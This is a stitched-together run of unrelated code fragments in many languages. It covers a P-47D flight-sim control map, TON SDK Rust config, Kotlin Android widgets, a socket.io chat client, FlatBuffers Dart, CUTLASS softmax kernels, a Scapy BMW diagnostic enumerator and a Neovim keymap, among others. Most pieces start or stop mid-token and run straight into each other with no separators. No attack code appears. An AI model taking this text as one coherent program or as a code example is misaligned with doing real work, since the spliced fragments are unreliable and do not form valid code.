P_47D:defineToggleSwitch("RECOV_FLAP_SW", 2, 3039, 76, "Port Wall", "Recovery Flaps Switch")
P_47D:define3PosTumb("INTCOOL_FLP_SW", 3, 3041, 87, "Port Wall", "Intercooler Flap Switch")
P_47D:define3PosTumb("OILCOOL_FLP_SW", 3, 3044, 88, "Port Wall", "Oil Cooler Flap Switch")
P_47D:defineToggleSwitch("GUNS_SW_C", 14, 3003, 67, "Port Wall", "Guns Switch Cover")
P_47D:define3PosTumb("GUNS_SW", 14, 3005, 68, "Port Wall", "Guns Switch")
P_47D:defineTumb("FLAPS_LVR", 2, 3029, 94, 0.5, { 0, 1 }, nil, false, "Port Wall", "Landing Flaps Lever")
P_47D:definePotentiometer("LH_C5_CAP", 18, 3004, 166, { 0, 1 }, "Port Wall", "LH C5 Assy. Cover")
P_47D:defineTumb("GEAR_LVR", 2, 3034, 153, 2, { -1, 1 }, nil, false, "Port Wall", "Gear Lever")

P_47D:definePushButton("VHF_PTT_BTN", 23, 3099, 44, "Throttle Quadrant", "Radio PTT Button")
P_47D:reserveIntValue(1) -- previous duplicate NOS_BTN control was located here
P_47D:defineToggleSwitch("NOS_LOCK_SW", 3, 3002, 41, "Throttle Quadrant", "NOS Lock Switch")
P_47D:definePotentiometer("PROP_RPM_LVR", 3, 3006, 46, { 0, 1 }, "Throttle Quadrant", "Propeller RPM Lever")
P_47D:definePushButton("PROP_LOCK", 3, 3037, 45, "Throttle Quadrant", "Propeller RPM Lever Lock")
P_47D:definePotentiometer("BOOST_LVR", 3, 3009, 58, { 0, 1 }, "Throttle Quadrant", "Boost Lever")
P_47D:definePushButton("BOOST_LOCK", 3, 3039, 49, "Throttle Quadrant", "Boost Lever Lock")
P_47D:definePotentiometer("MIX_LVR", 3, 3012, 48, { 0, 1 }, "Throttle Quadrant", "Mixture Lever")
P_47D:definePotentiometer("THROTTLE_FRIC", 3, 3018, 57, { 0, 1 }, "Throttle Quadrant", "Throttle Frictioner")
P_47D:definePushButton("NOS_BTN", 3, 3001, 40, "Throttle Quadrant", "NOS Button")

P_47D:defineMultipositionSwitch("PROP_CONTR_SW", 3, 3029, 72, 4, 0.1, "Propellor Control", "Propellor Control Switch")

P_47D:definePotentiometer("TRIM_WH_AILERON", 2, 3001, 91, { -1, 1 }, "Trim Control", "Aileron Trim Wheel")
P_47D:definePotentiometer("TRIM_WH_ELEVATOR", 2, 3004, 92, { -1, 1 }, "Trim Control", "Elevator Trim Wheel")
P_47D:definePotentiometer("TRIM_WH_RUDDER", 2, 3007, 93, { -1, 1 }, "Trim Control", "Rudder Trim Wheel")

P_47D:definePushButton("PROP_CB"


 Deserializer<'de>>(
    deserializer: D,
) -> Result<u32, D::Error> {
    Ok(Option::deserialize(deserializer)?.unwrap_or(default_wait_for_timeout()))
}

fn deserialize_out_of_sync_threshold<'de, D: Deserializer<'de>>(
    deserializer: D,
) -> Result<u32, D::Error> {
    Ok(Option::deserialize(deserializer)?.unwrap_or(default_out_of_sync_threshold()))
}

fn deserialize_max_reconnect_timeout<'de, D: Deserializer<'de>>(
    deserializer: D,
) -> Result<u32, D::Error> {
    Ok(Option::deserialize(deserializer)?.unwrap_or(default_max_reconnect_timeout()))
}

fn deserialize_reconnect_timeout<'de, D: Deserializer<'de>>(
    deserializer: D,
) -> Result<u32, D::Error> {
    Ok(Option::deserialize(deserializer)?.unwrap_or(default_reconnect_timeout()))
}

#[derive(Serialize, Deserialize, Debug, Clone, ApiType)]
pub struct NetworkConfig {
    /// DApp Server public address.
    /// For instance, for `net.ton.dev/graphql` GraphQL endpoint the server address will be net.ton.dev
    pub server_address: Option<String>,

    /// List of DApp Server addresses. Any correct URL format can be specified, including IP addresses
    /// This parameter is prevailing over `server_address`.
    pub endpoints: Option<Vec<String>>,

    /// Deprecated. You must use `network.max_reconnect_timeout` that allows to specify maximum network resolving timeout.
    #[serde(default = "default_network_retries_count",
    deserialize_with = "deserialize_network_retries_count")]
    pub network_retries_count: i8,

    /// Maximum time for sequential reconnections in ms. Default value is 120000 (2 min)
    #[serde(default = "default_max_reconnect_timeout",
    deserialize_with = "deserialize_max_reconnect_timeout")]
    pub max_reconnect_timeout: u32,

    /// Deprecated
    #[serde(default = "default_reconnect_timeout",
    deserialize_with = "deserialize_reconnect_timeout")]
    pub reconnect_timeout: u32,

    /// The number of automatic message processing retries that SDK performs
    /// in case of `Message Expired (507)` error - but only for those messages which
    /// local emulation was successful or failed with replay protection error.
    /// The default value is 5.
    #[serde(default = "default_message_retries_count",
    deserialize_with = "deserialize_message_retries_count")]
    pub message_retries_count: i8,

    /// Timeout that is used to process message delivery for the contracts
    /// which ABI does not include "expire" header.
    /// If the message is not delivered within the specified timeout
    /// the appropriate error occurs.
    #[serde(default = "default_message_processing_timeout",
    deserialize_with = "deserialize_message_processing_timeout")]
    pub message_processing_timeout: u32,

    /// Maximum timeout that is used for query response.
    /// The default value is 40 sec.
    #[serde(default = "default_wait_for_timeout",
    deserialize_with = "deserialize_wait_for_timeout")]
    pub wait_for_timeout: u32,

    /// Maximum time difference between server and client. If client's device time is out of sync and difference is more than
    /// the threshold then error will occur. Also an error will occur if the specified threshold i


nLottie.value,
      progress = { progress.progress },
    ),
    contentDescription = "登录动画"
  )
  LaunchedEffect(Unit) {
    loginLottie.await()
    snapshotFlow { viewModel.isLoginAnim.value }.collectLatest {
      if (it) {
        progress.animate(
          composition = loginLottie.value,
          iterations = Compottie.IterateForever,
        )
      }
    }
  }
}
package com.cyxbs.pages.course.widget.fragment.course.expose.fold

import android.animation.ValueAnimator
import com.cyxbs.pages.course.widget.internal.view.course.ICourseViewGroup

/**
 * ...
 * @author 985892345 (Guo Xiangrui)
 * @email 2767465918@qq.com
 * @date 2022/3/13 14:32
 */
interface OnFoldListener {
  /**
   * 折叠动画开始
   */
  fun onFoldStart(course: ICourseViewGroup) {}

  /**
   * 折叠动画中
   * @param fraction [ValueAnimator.getAnimatedFraction]，0 -> 1 的进度值
   */
  fun onFolding(course: ICourseViewGroup, fraction: Float) {}

  /**
   * 折叠动画结束
   */
  fun onFoldEnd(course: ICourseViewGroup) {}

  /**
   * 折叠动画被取消
   */
  fun onFoldCancel(course: ICourseViewGroup) {}

  /**
   * 不带动画的直接折叠
   *
   * 不带动画时不会回调 [onFoldStart] 和 [onFoldEnd]
   */
  fun onFoldWithoutAnim(course: ICourseViewGroup) {}

  /**
   * 展开动画开始
   */
  fun onUnfoldStart(course: ICourseViewGroup) {}

  /**
   * 展开动画中
   * @param fraction [ValueAnimator.getAnimatedFraction]，0 -> 1 的进度值
   */
  fun onUnfolding(course: ICourseViewGroup, fraction: Float) {}

  /**
   * 展开动画结束
   */
  fun onUnfoldEnd(course: ICourseViewGroup) {}

  /**
   * 展开动画被取消
   */
  fun onUnfoldCancel(course: ICourseViewGroup) {}

  /**
   * 不带动画的直接展开
   *
   * 不带动画时不会回调 [onUnfoldStart] 和 [onUnfoldEnd]
   */
  fun onUnfoldWithoutAnim(course: ICourseViewGroup) {}
}package com.cyxbs.pages.course.widget.item.overlap

import android.util.SparseArray
import androidx.core.util.forEach
import androidx.core.util.isNotEmpty
import com.cyxbs.pages.course.widget.utils.getOrPut

/**
 * 重叠功能的帮助类，实现了一些模板代码
 *
 * @author 985892345 (Guo Xiangrui)
 * @email guo985892345@foxmail.com
 * @date 2022/9/9 19:45
 */
class OverlapHelper(
  private val logic: IOverlapLogic
) : IOverlap {

  private val mAboveItemByRowColumn = SparseArray<SparseArray<IOverlapItem>>()
  private val mBelowItemByRowColumn = SparseArray<SparseArray<IOverlapItem>>()

  // 刷新动画上锁次数
  private var mRefreshAnimLockCount = 0

  override fun isAddIntoParent() = logic.isAddIntoParent()

  override fun refreshOverlap(isAllowAnim: Boolean) {
    logic.refreshOverlap(mRefreshAnimLockCount == 0 && isAllowAnim)
  }

  override fun clearOverlap() {
    mAboveItemByRowColumn.clear()
    mBelowItemByRowColumn.clear()
    logic.onClearOverlap()
  }

  override fun isDisplayable(


<E>();
  let operator: () => void;

  if (isNode(target)) {
    target.addEventListener(event, eventStream, eventOptions);
    operator = (): void => target.removeEventListener(event, eventStream);
  } else {
    applyEventStream(eventStream, target, event, eventOptions);
    operator = (): void => removeEventStream(eventStream, target, event);
  }
  subscribeSink(eventStream.end, operator);
  return eventStream;
};
const socket = io()

// initialize:
// Code in document ready or DOMContentLoaded will only run once (DOM) is ready for JavaScript code to execute.
// Code in window load will run once the entire page (images or iframes), not just the DOM, is ready.

window.addEventListener('load', () => {
  console.log('Entering window.load')

  // access important elements in code............
  const formElement = $("#chatform")[0];  // jQuery CSS selectors return an array - use the first
  const messageElement = $("#m")[0];      // jQuery CSS selectors return an array - use the first

  // configure event listeners (use action - NOT ON action)......
  formElement.addEventListener('submit', submitfunction);   // onsubmit = "return submitfunction();"
  messageElement.addEventListener('keyup', notifyTyping);   // onkeyup = "notifyTyping();"
  /*formElement.addEventListener('submit', function(){
    insertImage();
  });*/

  // additional initialization.........
  const name = makeid();
  $('#user').val(name);
  // emit a chatMessage event from the System along with a message
  socket.emit('chatMessage', 'System', '' + name + ' has joined the discussion');

  console.log('Exiting window.load')
})

// utility function to create a new random user name....
function makeid() {
  let text = ''
  text = prompt("What is your name?");
  /*const possible = 'abcdeghijklmnoprstuwxy'
  for (let i = 0; i < 5; i++) {
    text += possible.charAt(Math.floor(Math.random() * possible.length))
  }*/
  return text
}

// emit a new chatMessage event from the client......
function submitfunction() {
  let from = $('#user').val()
  let message = $('#m').val()
  if (message !== '') {
    if (message.indexOf("/image") == 0) {
      message = message.substring(6,message.length);
      message = '';
      socket.emit('chatMessage', from, message);
    }
    else if (message.indexOf("/link") == 0) {
      message = message.substring(5,message.length);
      message = '' + message + '';
      socket.emit('chatMessage', from, message);
    }
    else if (message.indexOf("/bold") == 0) {
      message = message.substring(5,message.length);
      message = '' + message + '';
      socket.emit('chatMessage', from, message);
    }
    else if (message.indexOf("/big") == 0) {
      message = message.substring(4,message.length);
      message = '
' + message + '
';
      socket.emit('chatMessage', from, message);
    }
    else {
      socket.emit('chatMessage', from, message);
    }
  }

  // what language and selector is used below?
  // set the value to an empty string and
  // focus on the message box again
  $('#m').val('').focus()
  return false; // don't refresh
}

// emit a new notifyUser event from the client.........
function notifyTyping() {
  let user = $('#user').val()
  socket.emit('notifyUser', user)
}

//Insert Image
/*function insertImage() {
  if


Buffer buffer = new StringBuffer();
    buffer.writeln("""

      <pollingplacedetails class="hovercard flex-grow">

${name}

${address}

""");
    if (isAccessible) {
      buffer.write("""

          ${msg_accessible}

        """);
    }

    if (hasSausageSizzle) {
      buffer.write("""

          ${msg_sausage_sizzle}

        """);
    }

    if (hasCakeStall) {
      buffer.write("""

          ${msg_cake_stall}

        """);
    }

    if (stallid != 0) {
      buffer.write("""

            ${msg_more_details}

        """);
    }

    buffer.write("""

${msg_opening_hours}

      </pollingplacedetails>

          ${msg_directions}

    """);
    options.content = buffer.toString();
    InfoWindow window = new InfoWindow(options);
    return window;
  }
}
// automatically generated by the FlatBuffers compiler, do not modify
// ignore_for_file: unused_import, unused_field, unused_element, unused_local_variable, constant_identifier_names

library my_game.example;

import 'dart:typed_data' show Uint8List;
import 'package:flat_buffers/flat_buffers.dart' as fb;

import './monster_test_my_game_generated.dart' as my_game;
import './monster_test_my_game.example2_generated.dart' as my_game_example2;

import './include_test1_generated.dart';

///  Composite components of Monster color.
enum Color {
  Red(1),
  Green(2),
  Blue(8),
  _default(0);

  final int value;
  const Color(this.value);

  factory Color.fromValue(int value) {
    switch (value) {
      case 1: return Color.Red;
      case 2: return Color.Green;
      case 8: return Color.Blue;
      case 0: return Color._default;
      default: throw StateError('Invalid value $value for bit flag enum');
    }
  }

  static Color? _createOrNull(int? value) =>
      value == null ? null : Color.fromValue(value);

  static const fb.Reader<Color> reader = _ColorReader();
}

class _ColorReader extends fb.Reader<Color> {
  const _ColorReader();

  @override
  int get size => 1;

  @override
  Color read(fb.BufferContext bc, int offset) =>
      Color.fromValue(const fb.Uint8Reader().read(bc, offset));
}

enum Race {
  None(-1)


SerializedProperty(AutoProperty prop) => prop._prop;

    public static void Scan<T>(T target) where T : UnityEditor.Editor
    {
        var so = target.serializedObject;

        var flags = BindingFlags.Public | BindingFlags.NonPublic;
        flags |= BindingFlags.Instance;

        foreach (var f in typeof(T).GetFields(flags))
            if (f.FieldType == typeof(AutoProperty))
            {
                var prop = so.FindProperty(f.Name);
                prop = prop ?? so.FindProperty($"<{f.Name}>k__BackingField");
                f.SetValue(target, new AutoProperty(prop));
            }
    }
}

} // namespace Scrubber.Editor


afeGetCmpt
  L2_2 = typeof
  L3_2 = CS
  L3_2 = L3_2.SuperScrollView
  L3_2 = L3_2.LoopListView2
  L2_2 = L2_2(L3_2)
  L3_2 = A0_2.root
  L4_2 = "Frame/Tab/List/Scroll View"
  L1_2 = L1_2(L2_2, L3_2, L4_2)
  A0_2.scroll_avatars = L1_2
  L1_2 = L1_1.SafeGetCmpt
  L2_2 = typeof
  L3_2 = CS
  L3_2 = L3_2.UnityEngine
  L3_2 = L3_2.UI
  L3_2 = L3_2.Text
  L2_2 = L2_2(L3_2)
  L3_2 = A0_2.root
  L4_2 = "Frame/Content/ListScrollView/Viewport/Content/Details"
  L1_2 = L1_2(L2_2, L3_2, L4_2)
  A0_2.txt_details = L1_2
  L1_2 = L1_1.SafeGetCmpt
  L2_2 = typeof
  L3_2 = CS
  L3_2 = L3_2.RPG
  L3_2 = L3_2.Client
  L3_2 = L3_2.PrefabLoadMeta
  L2_2 = L2_2(L3_2)
  L3_2 = A0_2.root
  L4_2 = "Frame/Content/ListScrollView/Viewport/Content/BuffList/Content"
  L1_2 = L1_2(L2_2, L3_2, L4_2)
  A0_2.node_buff = L1_2
  L1_2 = L1_1.SafeGetCmpt
  L2_2 = typeof
  L3_2 = CS
  L3_2 = L3_2.UnityEngine
  L3_2 = L3_2.UI
  L3_2 = L3_2.Text
  L2_2 = L2_2(L3_2)
  L3_2 = A0_2.root
  L4_2 = "Frame/Content/ListScrollView/Viewport/Content/BuffList/NoStatus"
  L1_2 = L1_2(L2_2, L3_2, L4_2)
  A0_2.txt_status = L1_2
  L2_2 = A0_2
  L1_2 = A0_2._safe_find
  L3_2 = "Frame/Content/Info/EliteType"
  L1_2 = L1_2(L2_2, L3_2)
  A0_2.go_elite = L1_2
  L2_2 = A0_2
  L1_2 = A0_2._safe_find
  L3_2 = "Frame/Content/Info/EliteType/Elite01"
  L1_2 = L1_2(L2_2, L3_2)
  A0_2.go_elite01 = L1_2
  L2_2 = A0_2
  L1_2 = A0_2._safe_find
  L3_2 = "Frame/Content/Info/EliteType/Elite02"
  L1_2 = L1_2(L2_2, L3_2)
  A0_2.go_elite02 = L1_2
  L2_2 = A0_2
  L1_2 = A0_2._safe_find
  L3_2 = "Frame/Content/Info/EliteType/Elite03"
  L1_2 = L1_2(L2_2, L3_


# -------------------------------------------------------------
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.
#
# -------------------------------------------------------------

# Autogenerated By   : src/main/python/generator/generator.py
# Autogenerated From : scripts/builtin/correctTypos.dml

from typing import Dict, Iterable

from systemds.operator import OperationNode, Matrix, Frame, List, MultiReturn, Scalar
from systemds.utils.consts import VALID_INPUT_TYPES

def correctTypos(strings: Frame,
                 **kwargs: Dict[str, VALID_INPUT_TYPES]):
    """
     Corrects corrupted frames of strings
     This algorithm operates on the assumption that most strings are correct
     and simply swaps strings that do not occur often with similar strings that
     occur more often

     .. code-block::

       References:
       Fred J. Damerau. 1964.
         A technique for computer detection and correction of spelling errors.
         Commun. ACM 7, 3 (March 1964), 171–176.
         DOI:https://doi.org/10.1145/363958.363994

    :param strings: The nx1 input frame of corrupted strings
    :param frequency_threshold: Strings that occur above this frequency level will not be corrected
    :param distance_threshold: Max distance at which strings are considered similar
    :param is_verbose: Print debug information
    :return: Corrected nx1 output frame
    """

    params_dict = {'strings': strings}
    params_dict.update(kwargs)

    vX_0 = Frame(strings.sds_context, '')
    vX_1 = Scalar(strings.sds_context, '')
    vX_2 = Scalar(strings.sds_context, '')
    vX_3 = Matrix(strings.sds_context, '')
    vX_4 = Frame(strings.sds_context, '')
    output_nodes = [vX_0, vX_1, vX_2, vX_3, vX_4, ]

    op = MultiReturn(strings.sds_context, 'correctTypos', output_nodes, named_input_nodes=params_dict)

    vX_0._unnamed_input_nodes = [op]
    vX_1._unnamed_input_nodes = [op]
    vX_2._unnamed_input_nodes = [op]
    vX_3._unnamed_input_nodes = [op]
    vX_4._unnamed_input_nodes = [op]

    return op


return false;
        }

        if (ReferenceEquals(this, other))
        {
            return true;
        }

        return Hour == other.Hour &&
            Minute == other.Minute &&
            Second == other.Second &&
            Nanosecond == other.Nanosecond &&
            OffsetSeconds == other.OffsetSeconds;
    }

    /// Gets the hour component of this instance.
    public int Hour { get; }

    /// Gets the minute component of this instance.
    public int Minute { get; }

    /// Gets the second component of this instance.
    public int Second { get; }

    /// Gets the nanosecond component of this instance.
    public int Nanosecond { get; }

    /// Returns a value indicating whether this instance is equal to a specified object.
    /// <param name="obj">The object to compare to this instance.</param>
    /// <returns>
    /// true if value is an instance of <see cref="OffsetTime"/> and equals the value of
    /// this instance; otherwise, false
    /// </returns>
    public override bool Equals(object obj)
    {
        if (obj is null)
        {
            return false;
        }

        if (ReferenceEquals(this, obj))
        {
            return true;
        }

        return obj is OffsetTime time && Equals(time);
    }

    /// Returns the hash code for this instance.
    /// <returns>A 32-bit signed integer hash code.</returns>
    public override int GetHashCode()
    {
        unchecked
        {
            var hashCode = Hour;
            hashCode = (hashCode * 397) ^ Minute;
            hashCode = (hashCode * 397) ^ Second;
            hashCode = (hashCode * 397) ^ Nanosecond;
            hashCode = (hashCode * 397) ^ OffsetSeconds;
            return hashCode;
        }
    }

    /// Converts the value of the current <see cref="OffsetTime"/> object to its equivalent string representation.
    /// <returns>String representation of this Point.</returns>
    public override string ToString()
    {
        return TemporalHelpers.ToIsoTimeString(Hour, Minute, Second, Nanosecond) +
            TemporalHelpers.ToIsoTimeZoneOff


段类型 | 字段含义
|:---:|:---:|:---:|
|ret| bool| 操作成功返回True，失败返回False
|response| -| 失败返回失败message，成功返回dict: {'artifactList': artifact列表, 'nextMarker': marker}

### 工作流模板创建
```python
ret, response = client.create_pipeline()
```
#### 接口入参说明
|字段名称 | 字段类型 | 字段含义
|:---:|:---:|:---:|
|fs_name| string (optional)|共享存储名称
|yaml_path| string (optional)|yaml 文件所在路径, 与yaml_raw二选一
|yaml_raw| bytes (optional) | yaml文件内容的bytes形式, 与yaml_path二选一
|desc| string (optional)|工作流模板的描述
|username| string (optional)|模板所属用户名称

#### 接口返回说明
|字段名称 | 字段类型 | 字段含义
|:---:|:---:|:---:|
|ret| bool| 操作成功返回True，失败返回False
|response| -| 失败返回失败message，成功返回dict：{'name': 名称, 'pplID': 工作流模板id, 'pplVerID': 工作流模板版本id}

### 工作流模板列表显示
```python
ret, response = client.list_pipeline()
```
#### 接口入参说明
|字段名称 | 字段类型 | 字段含义
|:---:|:---:|:---:|
|user_filter| string (optional)|根据用户筛选工作流模板，列表显示
|name_filter| string (optional)|根据pipeline名称筛选工作流模板，列表显示
|maxsize| int (optional,default=50)| 展示列表数量上限，默认值为100
|marker| string (optional)| 下一页的起始位置，传入展示下一页

#### 接口返回说明
|字段名称 | 字段类型 | 字段含义
|:---:|:---:|:---:|
|ret| bool| 操作成功返回True，失败返回False
|response| -| 失败返回失败message，成功返回dict: {'pipelineList': PipelineInfo列表, 'nextMarker': marker} 可以参考下面PipelineInfo类的定义获取对应的成员变量。

返回信息response中的列表元素结构如下：
```python
class PipelineInfo(object):
    """the class of pipeline info"""
    def __init__(self, pipeline_id, name, username, desc,
                 create_time, update_time):
        """init """
        self.pipeline_id = pipeline_id
        self.name = name
        self.username = username
        self.desc = desc
        self.create_time = create_time
        self.update_time = update_time
```

### 工作流模板详情显示
```python
ret, response, ppl_ver_list, marker = client.show_pipeline("pipelineid")
```
#### 接口入参说明
|字段名称 | 字段类型 | 字段含义
|:---:|:---:|:---:|
|pipeline_id| string (required)|工作流模板id
|fs_filter| string (optional) | 根据存储筛选显示的工作流模板版本信息
|ma


  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text("播放列表"),
      ),
      body: Consumer<PlayerInstance>(builder: (context, player, _) {
        _listTileKeys.clear();
        for (int i = 0; i < player.musicList.length; i++) {
          _listTileKeys.add(GlobalKey());
        }
        return Column(
          children: [
            Container(
              child: Expanded(
                child: ListView.builder(
                    controller: _scrollController,
                    itemCount: player.musicList.length,
                    itemBuilder: (context, idx) {
                      return GestureDetector(
                        key: _listTileKeys[idx],
                        onTap: () async {
                          Navigator.of(context)
                              .push(MaterialPageRoute(builder: (context) {
                            return PlayPage();
                          }));
                          //await player.play(UrlSource(musicList[idx]["listenUrl"]));
                        },
                        child: Container(
                          color: Color.fromRGBO(250, 250, 250, 1),
                          child: GestureDetector(
                            onTap: () {
                              player.nowPlayingIdx = idx;
                              player.playList();
                            },
                            child: ListTile(
                              leading: Container(
                                width: 50,
                                child: CachedNetworkImage(
                                  imageUrl: player.musicList[idx]["albumImg"],
                                ),
                              ),
                              title: Text(
                                player.musicList[idx]["name"],
                                style: TextStyle(
                                    color: player.nowPlayingIdx == idx
                                        ? MainColor
                                        : Colors.black),
                              ),
                              subtitle: Text(
                                player.musicList[idx]["artist"] +
                                    "  " +
                                    convertTime(
                                        player.musicList[idx]["playTimes"


::global_store<ElementNorm, sizeof(ElementNorm)>(
              convert_norm_output(accum_max_),
              (void *)curr_ptr_max,
              is_write_thread);

    arch::global_store<ElementSum, sizeof(ElementSum)>(
              convert_sum_output(accum_sum_),
              (void *)curr_ptr_sum,
              is_write_thread);

    // Clear accumulators for max and sum when finishing a whole row
    clear_accum_();

  }

  /// Called after all accumulator elements have been visited
  CUTLASS_DEVICE
  void end_step(int step_idx) {

    iterator_D_.store(fragment_D_);
    ++iterator_D_;
  }

  /// Called after all steps have been completed
  CUTLASS_DEVICE
  void end_epilogue() {

  }

private:

  CUTLASS_DEVICE
  void elementwise_padding_(SoftmaxFragment &result, int elements_in_boundary) {
    CUTLASS_PRAGMA_UNROLL
    for (int i = 0; i < SoftmaxFragment::kElements; ++i) {
      result[i] = (i < elements_in_boundary) ? result[i] : ElementSoftmaxCompute(-infinity_);
    }
  }

  CUTLASS_DEVICE
  ElementSoftmaxCompute warp_reduce_sum_(ElementSoftmaxCompute sum_) {
    int half_thread_in_row = (kThreadsPerRow >> 1);
    CUTLASS_PRAGMA_UNROLL
    for (int i = half_thread_in_row; i > 0; i >>= 1) {
      ElementSoftmaxCompute tmp = __shfl_xor_sync(0xFFFFFFFF, sum_, i);
      sum_ += tmp;
    }
    return sum_;
  }

  CUTLASS_DEVICE
  ElementSoftmaxCompute warp_reduce_max_(ElementSoftmaxCompute max_) {
    int half_thread_in_row = (kThreadsPerRow >> 1);
    CUTLASS_PRAGMA_UNROLL
    for (int i = half_thread_in_row; i > 0; i >>= 1) {
      ElementSoftmaxCompute tmp = __shfl_xor_sync(0xFFFFFFFF, max_, i);
      max_ = fast_max(max_, tmp);
    }
    return max_;
  }

  CUTLASS_DEVICE
  void clear_accum_() {

    uint32_t float_max_bits = 0xff7fffff;   // -FLT_MAX
    float min_float = reinterpret_cast<float const &>(float_max_bits);
    accum_max_ = ElementSoftmaxCompute(min_float);
    accum_sum_ = ElementSoftmaxCompute(0);
  }

  CUTLASS_DEVICE
  ElementSoftmaxCompute sum_accumulator_(SoftmaxFragment const &accum) {
    ElementSoftmaxCompute sum_ = ElementSoftmaxCompute(0);

    CUTLASS_PRAGMA_UNROLL
    for (int i = 0; i < SoftmaxFragment::kElements; ++i) {
      sum_ += ElementSoftmaxCompute(accum[i]);
    }

    return sum_;
  }

  CUTLASS_DEVICE
  ElementSoftmaxCompute sum_accumulator_(SoftmaxFragment const &accum, ElementSoftmaxCompute sum_) {
    // ElementSoftmaxCompute sum_ = ElementSoftmaxCompute(0);

    CUTLASS_PRAGMA_UNROLL
    for (int i = 0; i < SoftmaxFragment::kElements; ++i) {
      sum_ += ElementSoftmaxCompute(accum[i]);
    }

    return sum_;
  }

  CUTLASS_DEVICE
  ElementSoftmaxCompute maximum_accumulator_(SoftmaxFragment const &accum) {
    ElementSoftmaxCompute max_ = accum[0];

    CUTLASS_PRAGMA_UNROLL
    for (int i = 1; i < SoftmaxFragment::kElements; ++i) {
      max_ = fast_max(max_, ElementSoftmaxCompute(accum[i]));
    }

    return max_;
  }

  CUTLASS_DEVICE
  ElementSoftmaxCompute maximum_accumulator_(SoftmaxFragment const &accum, ElementSoftmaxCompute max_) {

    CUTLASS_PRAGMA_UNROLL
    for (int i = 0; i < SoftmaxFragment::kElements; ++i) {
      max_ = fast_max(max_, ElementSoftmaxCompute(accum[i]));
    }

    return max_;
  }
};

} // namespace threadblock
} // namespace epilogue
} // namespace cutlass


}
        }

        this.ideviceBody.querySelector('#sortableListButtonText').value = data.buttonText || buttonText;
        this.ideviceBody.querySelector('#sortableListRightText').value = data.rightText || rightText;
        this.ideviceBody.querySelector('#sortableListWrongText').value = data.wrongText || wrongText;
        const evalCheckbox = this.ideviceBody.querySelector('#sortableEvaluation');
        const evalInput = this.ideviceBody.querySelector('#sortableEvaluationID');
        const evalChecked = !!data.evaluation;
        evalCheckbox.checked = evalChecked;

        if (typeof data.evaluationID === 'string' && data.evaluationID.trim() !== '') {
            evalInput.value = data.evaluationID;
        }
        evalInput.disabled = !evalChecked;

        this.ideviceBody.querySelector('#eXeGameInstructions').value = data.instructions || _('Arrange the following texts in the correct order to complete the activity.');
        this.ideviceBody.querySelector('#eXeIdeviceTextAfter').value = data.textAfter || '';
        this.ideviceBody.querySelector('#sortableShowSolutions').checked = typeof data.showSolutions !== "undefined" ? data.showSolutions : true;

        data.weighted = data.weighted || 100;
        data.repeatActivity = data.repeatActivity || false;
        data.textButtonScorm = data.textButtonScorm || _('Save score');
        data.isScorm = data.isScorm || 0;

        $exeDevicesEdition.iDevice.gamification.scorm.setValues(
            data.isScorm,
            data.textButtonScorm,
            data.repeatActivity,
            data.weighted
        );
        $exeDevicesEdition.iDevice.gamification.common.setLanguageTabValues(data.msgs);
    },

    /**
     * Fields for the elements to order (up to $exeDevice.items_no)
     *
     * @returns string
     */
    getListsFields: function () {
        // Instructions text
        let instructionsText = _('Write the elements in the right order:');
        // List of inputs
        let inputList = '';
        for (let i = 0; i < $exeDevice.items_no; i++) {
            const isRequired = i < this.items_min;
            const requiredAttr = isRequired ? 'required' : '';
            const requiredClass = isRequired ? 'required' : '';
            inputList += `

                    <input type="text" name="sortableListFormList${i}" id="sortableListFormList${i}"
                        class="sortableListFormList form-control ${requiredClass}" ${requiredAttr} />

`;
        }
        // Generate HTML
        return `

                ${instructionsText}

${inputList}

`;
    },

    /**
     * Function to remove HTML tags
     *
     * @param {*} str
     * @returns string
     */
    removeTags: function (str) {
        var wrapper = $('

');
        wrapper.html(str);
        return wrapper.text();
    },
};
/**
/**
 * informe Activity iDevice (edition code)
 *
 * Released under Attribution-ShareAlike 4.0 International License.
 * Author: Manuel Narvaez Martinez
 * Ana María Zamora Moreno
 * License: http://creativecommons.org/licenses/by-sa/4.0/
 */
var $exeDevice = {
    i18n: {
        category: _('Assessment and tracking'),
        name: _('Progress report')
    },
    msgs: {
    },
    id: '',
    number: 0,
    sessionIdevices: null,


# SPDX-License-Identifier: GPL-2.0-only
# This file is part of Scapy
# See https://scapy.net/ for more information
# Copyright (C) Nils Weiss <nils@we155.de>

# scapy.contrib.description = BMW specific enumerators
# scapy.contrib.status = loads

from scapy.packet import Packet
from scapy.compat import Any, Iterable
from scapy.contrib.automotive.scanner.enumerator import _AutomotiveTestCaseScanResult  # noqa: E501
from scapy.contrib.automotive.uds import UDS
from scapy.contrib.automotive.bmw.definitions import DEV_JOB
from scapy.contrib.automotive.uds_scan import UDS_Enumerator

class BMW_DevJobEnumerator(UDS_Enumerator):
    _description = "Available DevelopmentJobs by Identifier " \
                   "and negative response per state"

    def _get_initial_requests(self, **kwargs):
        # type: (Any) -> Iterable[Packet]
        scan_range = kwargs.pop("scan_range", range(0x10000))
        return (UDS() / DEV_JOB(identifier=x) for x in scan_range)

    def _get_table_entry_y(self, tup):
        # type: (_AutomotiveTestCaseScanResult) -> str
        return "0x%04x: %s" % \
               (tup[1].identifier, tup[1].sprintf("%DEV_JOB.identifier%"))


T]oggle LSP References",
            x = "[T]oggle Close",
        },
        silent = true,
    }

    map("<leader>tt", "<CMD>TroubleToggle <CR>", { desc = opts.desc.o, opts.silent })
    map("<leader>tw", "<CMD>TroubleToggle workspace_diagnostics<CR>", { desc = opts.ws, opts.silent })
    map("<leader>td", "<CMD>TroubleToggle document_diagnostics<CR>", { desc = opts.doc, opts.silent })
    map("<leader>tq", "<CMD>TroubleToggle quickfix<CR>", { desc = opts.qf, opts.silent })
    map("<leader>tx", "<CMD>TroubleClose <CR>", { desc = opts.x, opts.silent })
    map("<leader>tl", "<CMD>TroubleToggle lsp_references<CR>", { desc = opts.lsp, opts.silent })
end

-- Todo-Comments
if enabled(group, "Todo") then
    map("n", "<leader>tc", "<CMD>TodoTrouble<CR>", { desc = "[T]odo [T]rouble", silent = true })
